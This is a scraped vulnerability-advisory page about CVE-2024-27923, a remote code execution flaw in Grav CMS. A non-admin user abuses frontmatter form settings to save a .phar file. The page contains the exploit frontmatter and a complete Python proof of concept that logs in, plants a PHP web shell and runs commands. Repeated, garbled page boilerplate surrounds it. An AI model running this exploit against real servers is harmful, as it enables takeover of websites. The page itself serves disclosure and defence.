8.8

CVSS Score

3.1

-

CVSS Score

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CVE-2024-27923

CVE-2024-27923: Remote Code Execution by uploading a phar file using frontmatter

Summary

Due to insufficient permission verification, user who can write a page use frontmatter feature.
Inadequate File Name Validation

Details

Insufficient Permission Verification

In Grav CMS, "Frontmatter" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post. In this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[_json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. Video Link

Inadequate File Name Validation

To create a Contact Form, Frontmatter and markdown can be written as follows: Contact Form Example Form Action Save Option When an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of "feedback.txt," a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the "name" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the "name" field to be saved on the server. However, Grav filter the < and > characters, so to disable these options, an xss_check: false attribute should be added. Disable XSS

---
title: Contact Form

form:
    name: contact
    xss_check: false

    fields:
        name:
          label: Name
          placeholder: Enter your name
          autocomplete: on
          type: text
          validate:
            required: true

    buttons:
        submit:
          type: submit
          value: Submit

    process:
        save:
            filename: this_is_file_name.phar
            operation: add

---

# Contact form

Some sample page content

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CVE-2024-27923

CVE-2024-27923:

8.8

CVSS Score

3.1

-

CVSS Score

Basic Information

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Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
getgrav/grav	composer	< 1.7.43	1.7.43

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability stems from two key issues: (1) The SaveProcessor's process method directly uses the user-controlled 'filename' parameter from Frontmatter without adequate validation of file extensions. (2) The security validation function (e.g., Security::isDangerousFile) relied on security.yaml's dangerous extensions list, which lacked 'phar' pre-patch. The commit explicitly adds 'phar' to this list, confirming these functions as the validation points. The PoC demonstrates direct exploitation via these mechanisms.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

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WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

# PoC.py import requests from bs4 import BeautifulSoup class Poc: def __init__(self, cmd): self.sess = requests.Session() ########## INIT ################ self.USERNAME = "guest" self.PASSWORD = "Guest123!" self.PREFIX_URL = "http://192.168.12.119:8888/grav" self.PAGE_NAME = "this_is_poc_page47" self.PHP_FILE_NAME = "universe.phar" self.PAYLOAD = '<?php system($_GET["cmd"]); ?>' self.cmd = cmd ########## END ################ self.sess.get(self.PREFIX_URL) self._login() self._save_page() self._inject_command() self._execute_command() def _get_nonce(self, data, name): # Get login nonce value res = BeautifulSoup(data, "html.parser") return res.find("input", {"name" : name}).get("value") def _login(self): print("[*] Try to Login") res = self.sess.get(self.PREFIX_URL + "/admin") login_nonce = self._get_nonce(res.text, "login-nonce") # Login login_data = { "data[username]" : self.USERNAME, "data[password]" : self.PASSWORD, "task" : "login", "login-nonce" : login_nonce } res = self.sess.post(self.PREFIX_URL + "/admin", data=login_data) # Check login if res.status_code != 303: print("[!] username or password is wrong") exit() print("[*] Success Login") def _save_page(self): print("[*] Try to write page") res = self.sess.get(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add") form_nonce = self._get_nonce(res.text, "form-nonce") unique_form_id = self._get_nonce(res.text, "__unique_form_id__") # Add page data page_data = f"task=save&data%5Bheader%5D%5Btitle%5D={self.PAGE_NAME}&data%5Bcontent%5D=content&data%5Bheader%5D%5Bsearch%5D=&data%5Bfolder%5D={self.PAGE_NAME}&data%5Broute%5D=&data%5Bname%5D=form&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&toggleable_data%5Bheader%5D%5Bprocess%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Bredirect_default_route%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0" page_data += f"&data%5B_json%5D%5Bheader%5D%5Bform%5D=%7B%22xss_check%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHP_FILE_NAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D" res = self.sess.post(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add" , data = page_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'}) print("[*] Success write page: " + self.PREFIX_URL + f"/{self.PAGE_NAME}") def _inject_command(self): print("[*] Try to inject php code") res = self.sess.get(self.PREFIX_URL + f"/{self.PAGE_NAME}") form_nonce = self._get_nonce(res.text, "form-nonce") unique_form_id = self._get_nonce(res.text, "__unique_form_id__") form_data = f"data%5Bname%5D={self.PAYLOAD}&__form-name__=contact-form&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}" res = self.sess.post(self.PREFIX_URL + f"/{self.PAGE_NAME}" , data = form_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'}) print("[*] Success inject php code") def _execute_command(self): res = self.sess.get(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}") if res.status_code == 404: print("[!] Fail to execute command or not save php file.") exit() print("[*] This is uploaded php file url.") print(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}") print(res.text) if __name__ == "__main__": Poc(cmd="id")

8.8

-

Basic Information

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CVE-2024-27923: Remote Code Execution by uploading a phar file using frontmatter

Summary

Details

CVE-2024-27923:

8.8

-

Basic Information

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Technical Details

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

Vulnerable functions

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Basic Information

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Vulnerable functions

Technical Details

8.8

8.8

CVE-2024-27923: Remote Code Execution by uploading a phar file using frontmatter

Summary

Details

PoC

Impact

8.8

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2024-27923: Remote Code Execution by uploading a phar file using frontmatter

Summary

Details

CVE-2024-27923:

8.8

-

Basic Information

Basic Information

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Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability IntelligenceMiggo AI

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Basic Information

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Root Cause Analysis

Vulnerable functions

Technical Details

8.8

8.8

CVE-2024-27923: Remote Code Execution by uploading a phar file using frontmatter

Summary

Details

PoC

Impact

Vulnerability Intelligence
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Vulnerability Intelligence
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Vulnerability Intelligence
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